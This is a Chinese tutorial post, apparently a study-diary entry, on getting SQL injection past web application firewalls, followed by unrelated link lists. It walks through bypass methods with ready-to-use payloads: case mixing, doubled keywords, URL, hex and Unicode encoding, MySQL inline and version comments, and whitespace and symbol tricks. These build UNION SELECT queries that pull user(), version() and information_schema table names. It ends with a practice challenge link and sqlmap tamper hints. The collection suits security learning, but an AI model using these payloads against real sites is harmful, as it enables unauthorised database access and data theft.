SQL注入过WAF(11.4 第三十三天)
WAF是什么?
Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如DDOS防护、SQL注入、XML注入、XSS等。
WAF分类:
代码WAF:将规则写在web代码中,并去匹配,来过滤。
软件WAF:监听端口或以Web容器扩展方式进行请求检测和阻断
硬件WAF:专门硬件防护设备,代理流量,并做分析,再做是否转发的处理
云WAF:通过dns域名移交技术,将流量暂时发送到检测中心节点,通过检测后,再发送到真实服务器上
WAF工作流程:三个基本步骤
身份认证:白名单ip、白名单cookie、白名单user-agent、白名单referer等等
数据包解析
规则匹配:根据不同的规则,有不同的绕过方法。
过WAF的基本方式:
1、大小写 select * from users where id ='1 ' uNion SelEcT 1,2,3,4--+
针对:/正则表达式/ i 不区分大小写的规则
2、替关键字(关键字重复写) select * from users where ID=1 ununionion selselectect 1,2,3,4%23
针对检测到某个关键词 替换为空的情况
3、编码 select * from users where id=2%2bunion%2bselect%2b1,2,3,4--+
union ---> 0x756e696f6e20
select * from users where ID=1 %75nion select 1,2,3,4%23
编码方式:URL编码 (空格为%20 单引号%27 左括号%28 右括号%29,针对特殊情况可以两次URL编码)
十六进制编码(针对某些数据,如特殊字符、特殊字符串等)
unicode:Unicode编码 使用两个字节编码一个字符,高位不足使用0填充
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
4、内联注释 /* */ union/**/select/**/1,2,3%23 、 //.--+,/**/,--,-- -,#,;--b
select * from dvwa.user where user_id id='1' and 1=1;--+';
5、等价函数替换 verion() @@version
mid substr substring
@@datadir datadir()
hex() bin() ascii()
sleep() benchmark()
等价符号:and &&; or || ; = >< re>100 re<102 re=101
6、特殊符号 + # %23 --+ \\\\
select`version()`
select+id-1+1.from users; "+"用于字符串连接 -和. 用于连接,可以用于逃过空格和关键词的过滤
@符号:用户自定义变量 select @……1.from users;
@@符号:系统变量
后续加 ~ ! % () [] + | %00 等等
7、内联注释加! select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+
8、缓冲区溢出
?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18
栗子上的 0xA*1000 指的是0XA后面的 "A" 重复1000次,一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度,这里1000仅供参考,在一些情况下也可以更短
9、mysql 特性绕过
= 等于
:= 赋值
@ @+变量名可直接调用 select @test:=user();
注释符号 /**/ --(空格) #
/!**/ /*!50000select*/
select * from news where tid=1 union /*!50000select*/ 1,2,3;
/*!union*/
(/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE())
10、换行 123%0A123
11、隐私类型转换
select 'a'=0;
select '1admin'=1;
综合探索
内联注释
黑魔法:select{x user}from{x mysql.user};
换行符绕过:%23%0a %2d%2d%0a
绕过方式部分拆解
select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin
[1] 第一部分:
(1)/**/ /*!50000union*/
(2)空白字符 %09 %0a %0b %0c %0d %20
id=1%0bunion select 1,user() from admin
(3)浮点数形式 1.2 4.2
id=1.0union select 1,user() from admin
(4)1E0 1x一亿的0次方
id=1e0nuion select 1,user() from admin
(5)\
id=\Nunion select 1,user() from admin
[2] 第二部分:
(1)空白字符 %09 %0a %0b %0c %0d %20
(2)注释符 /**/ /*123213*/
(3)括号 id=1 union(select 'test','1',(select user() from admin limit 0,1))
[3] 第三部分:
(1)空白字符
(2)注释符号
(3)其他字符:
! %21
+ %2b
- %2d
@ %40
~ %7e
select * from admin where id=1 union select~1,user(),version()
(4)其他方式:
括号 select * from admin where id=1 union select(1),user(),version()
内联 select * from admin where id=1 union /*!50000select*/1,user(),version()
{} select * from admin where id=1 union select{x 1} user(),version()
" " select * from admin where id=1 union select"1" user(),version()
\N select * from admin where id=1 union select\N ,user(),version()
[4] 第四部分:
(1)空白字符
(2)注释符
(3)其他符号
` %60 select * from admin where id=1 union select 1,2`from admin`;(注意闭合)
内敛注释符号
加括号
加字母 select * from admin where id=1 union select 1,2"A"from admin;(???)
(4)浮点数、1E0 、\N
第五部分:
(1)空白
(2)注释符号
(3)其他符号
破则号-: select * from admin where id=1 union select 1,2 from-admin;(中文的)
联注释符号
{} select * from admin where id=1 union select 1,2 from{x admin};
() select * from admin where id=1 union select 1,2 from(admin);
练习题:http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1
$keywords= array("union","select"," ");
$id=strtolower($id);
$id=str_replace($keywords,"",$id);
// 需要处理的技术点:双写.py 使用注释代替空格.py
// --tamper 双写.py,使用注释代替空格.py
SQL注入过WAF(11.4 第三十三天)的更多相关文章
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- SQL注入绕WAF总结
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
- SQL注入绕过waf的一万种姿势
绕过waf分类: 白盒绕过: 针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示: 1 ........ 2 3 $id=$_GET['id']; 4 5 $ ...
- 一次简单的SQL注入绕WAF
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个 1.目标网站 2.发现有WAF防护 3.判断存在注入 4.猜测了一下闭合为 ...
- [转载]SQL注入绕过WAF的方法总结
基本/简单绕过方法: 1.注释符 http://www.0dayhack.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4-. 2.使用 ...
- [WAF攻防]从WAF攻防角度重看sql注入
从WAF攻防角度重看sql注入 攻防都是在对抗中逐步提升的,所以如果想攻,且攻得明白,就必须对防有深刻的了解 sql注入的大体流程 Fuzz测试找到注入点 对注入点进行过滤检测,及WAF绕过 构建pa ...
- sql注入之堆叠注入及waf绕过注入
#堆叠查询注入 1.堆叠查询概念 stacked injections(堆叠查询注入)从名词的含义就可以看出一应该是一堆(多条)sql语句一起执行.而在真实运用中也是如此,我们知道在mysql中,主要 ...
随机推荐
- 使用restTemplate发送post请求,传入参数是在requestBody请求体中,以json形式传输
@PostMapping public ResponseResult add(User user){ HttpHeaders httpHeaders = new HttpHeaders(); Medi ...
- 整理了一下NLP中文数据集
个人理解: 句子相似性判断.情感分析.实体识别.智能问答,本质基本上都是分类任务. 阅读理解(抽取式.回答式.完形填空)是逐个候选项的分类问题处理. 参考 https://github.com/chi ...
- idea中scala语言自动补全变量的同时,也自动补全类型
IDE是IDEA,scala中,在new一个对象时,通过快捷键ctrl + Alt + V自动补全变量,但是我还想自动补全变量的类型,就像图中所示,在Specify type前面自动帮你打勾. 可以按 ...
- 第1节 Scala基础语法:1、2、概述,什么是scala
Scala编程 1. 课程目标 1.1. 目标1:熟练使用scala编写Spark程序 1.2. 目标2:动手编写一个简易版的Spark通信框架 1.3. 目标3:为阅读Spark内核源码 ...
- 傅盛读书笔记:下一个Moonshot是什么?
猎豹移动CEO 傅盛 九月底,我有幸在硅谷拜访了苹果前CEO斯卡利.老人如今已经75岁高龄,但看起来仍充满活力.他花了一上午的时间跟我们沟通,非常谦和.平等.坦诚,给我留下了很深的印象.末了,给我们介 ...
- 吴裕雄 Bootstrap 前端框架开发——Bootstrap 表格:表示成功的操作
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...
- Victor and String[Bestcoder #52 1004](回文树)
题目描述 Victor喜欢玩字符串.他认为一个字符串是迷人的,当且仅当字符串是回文的.Victor想玩n次.每次他都会做以下四种操作中的一种.操作1:在字符串的开头添加一个字符 c.操作2:在字符串的 ...
- Linux centosVMware shell 管道符和作业控制、shell变量、环境变量配置文件
一.管道符和作业控制 管道符|,用于将前一个指令的输出作为后一个指令的输入 #cat /etc/passwd|wc -l 作业控制:当运行程序时,可以使它暂停(Ctrl+Z组合键),然后使用fg(f ...
- ch8 高度相等的列--CSS方法
如下图所示效果,可以使用表格实现,本文采用在CSS中实现. 标记如下: <div class="wrapper"> <div class="box&qu ...
- 「SP1716」GSS3 - Can you answer these queries III
传送门 Luogu 解题思路 区间最大子段和板子题. 考虑用线段树来做. 对于一个线段树节点所包含区间,它的最大子段和有两种情况,包含中点与不包含. 不包含的情况直接从左右子树转移. 对于包含的情况: ...